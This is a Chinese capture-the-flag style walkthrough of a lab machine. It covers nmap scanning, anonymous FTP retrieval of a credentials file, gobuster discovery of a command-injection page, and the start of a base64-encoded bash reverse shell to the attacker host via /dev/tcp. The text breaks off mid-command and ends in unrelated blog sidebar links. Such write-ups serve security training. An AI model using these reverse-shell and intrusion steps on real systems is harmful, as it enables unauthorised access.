nmap扫描----匿名登录ftp----gobuster扫描网站目录----利用RCE getshell(payload需要base64编码)----寻找敏感信息切换到用户nitish----sudo切换到sam(善用man命令)----sudo提权到root(使用uncompyle6反编译.pyc)
环境信息:靶机:192.168.101.67
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.68
扫描到21(ftp)、22(ssh)、1337、7331(http)端口
登录ftp,用户名和密码都是anonymous
ftp 192.168.101.68
下载文件
ftp> get creds.txt
ftp> get game.txt
ftp> get message.txt
在攻击机上打开下载好的文件,内容分别如下
creds.txt
nitu:81299
game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
3、gobuster扫描用gobuster扫描7331端口网站目录
gobuster dir -u http://192.168.101.68:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt
扫描到/wish和/genie
浏览器访问http://192.168.101.68:7331/wish,发现可以执行系统命令
比如在输入框中输入whoami
提交之后跳转到http://192.168.101.68:7331/genie?name=www-data%0A,虽然页面看起来没有显示命令执行结果,但其实url参数值已经包含了whoami的执行结果www-data
可以利用这个命令执行功能获得反弹shell
经尝试,这边bash反弹shell需要base64编码,具体方式如下:
先在攻击机上输入
echo "bash -i &>/dev/tcp/192.168.101.34/8888
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?